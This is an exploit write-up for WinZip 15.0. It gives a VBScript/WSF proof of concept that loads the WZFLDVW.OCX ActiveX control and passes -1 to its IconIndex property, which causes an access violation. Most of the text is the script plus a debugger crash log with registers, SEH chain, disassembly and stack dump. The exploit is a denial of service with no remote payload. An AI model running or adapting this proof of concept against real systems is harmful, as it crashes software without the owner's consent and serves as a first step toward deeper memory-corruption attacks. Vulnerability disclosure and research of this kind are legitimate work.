WinZip 15.0 – WZFLDVW.OCX IconIndex Property Denial of Service
# Exploit Title: Winzip WZFLDVW.OCX IconIndex property access violation # Author: fady mohamed osman # Software Link : http://www.winzip.com/downwz.htm # Version: 15.0 (Build 9334) # Tested on: Win XP Sp2 # CVE : N/A # Website : http://www.darkmasters.co.cc/ # Twitter : http://twitter.com/Fady_Osman <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' /> <script language='vbscript'> 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX" prototype = "Invoke_Unknown IconIndex As Long" memberName = "IconIndex" progid = "FolderViewControl.TreeNode" argCount = 1 arg1=-1 target.IconIndex = arg1 </script></job></package> Exception Code: ACCESS_VIOLATION Disasm: 1643C53 PUSH DWORD PTR [ESI+20] Seh Chain: -------------------------------------------------- 1 180B82F wzfldvw.ocx 2 180B8F0 wzfldvw.ocx 3 73351571 VBSCRIPT.dll 4 73350F38 VBSCRIPT.dll 5 73351DA5 VBSCRIPT.dll 6 7335119D VBSCRIPT.dll 7 7C8399F3 KERNEL32.dll Called From Returns To -------------------------------------------------- wzfldvw.1643C53 wzfldvw.1631423 wzfldvw.1631423 wzfldvw.1666F8C wzfldvw.1666F8C wzfldvw.16434A0 wzfldvw.16434A0 VBSCRIPT.73313A78 VBSCRIPT.73313A78 VBSCRIPT.733139F6 VBSCRIPT.733139F6 VBSCRIPT.73304B01 VBSCRIPT.73304B01 VBSCRIPT.73306959 VBSCRIPT.73306959 VBSCRIPT.73301E55 VBSCRIPT.73301E55 VBSCRIPT.73303A76 VBSCRIPT.73303A76 VBSCRIPT.7330BE2A VBSCRIPT.7330BE2A VBSCRIPT.7330BEB9 VBSCRIPT.7330BEB9 SCROBJ.5CE4915E SCROBJ.5CE4915E SCROBJ.5CE4CF9C SCROBJ.5CE4CF9C SCROBJ.5CE4D0E2 SCROBJ.5CE4D0E2 SCROBJ.5CE4B106 SCROBJ.5CE4B106 SCROBJ.5CE4B49F SCROBJ.5CE4B49F 100BB36 100BB36 1005EFE 1005EFE 1005215 1005215 100492B 100492B 1004A89 1004A89 1003C7B 1003C7B KERNEL32.7C816D4F Registers: -------------------------------------------------- EIP 01643C53 EAX BAADF00D EBX 00000000 ECX BAADF00D EDX 01642B94 -> 18EBD88B EDI 00000008 ESI BAADF00D EBP 0013EB1C -> 0013EB5C ESP 0013EAF0 -> 00AE75F0 Block Disassembly: -------------------------------------------------- 1643C48 MOV EDI,EDI 1643C4A PUSH EBP 1643C4B MOV EBP,ESP 1643C4D SUB ESP,28 1643C50 PUSH ESI 1643C51 MOV ESI,ECX 1643C53 PUSH DWORD PTR [ESI+20] <--- CRASH 1643C56 CALL [182C978] 1643C5C TEST EAX,EAX 1643C5E JNZ SHORT 01643C65 1643C60 CALL 01635391 1643C65 MOV EAX,[EBP+8] 1643C68 TEST EAX,EAX 1643C6A JE SHORT 01643C60 1643C6C MOV [EBP-24],EAX ArgDump: -------------------------------------------------- EBP+8 BAADF00D EBP+12 0013EB60 -> 01666F8C EBP+16 00000022 EBP+20 BAADF00D EBP+24 FFFFFFFF EBP+28 0164299B -> 8B0020C2 Stack Dump: -------------------------------------------------- 13EAF0 F0 75 AE 00 0E 28 64 01 80 EB 13 00 28 ED 13 00 [.u....d.........] 13EB00 00 00 00 00 9B 29 64 01 DE 98 66 5E 08 00 00 00 [......d...f^....] 13EB10 60 EB 13 00 00 00 00 00 BA 75 91 7C 5C EB 13 00 [`........u..\...] 13EB20 23 14 63 01 0D F0 AD BA 60 EB 13 00 22 00 00 00 [..c.....`.......] 13EB30 0D F0 AD BA FF FF FF FF 9B 29 64 01 57 2B 64 01 [..........d.W.d.] ApiLog -------------------------------------------------- ***** Installing Hooks ***** 7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll) 7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll) |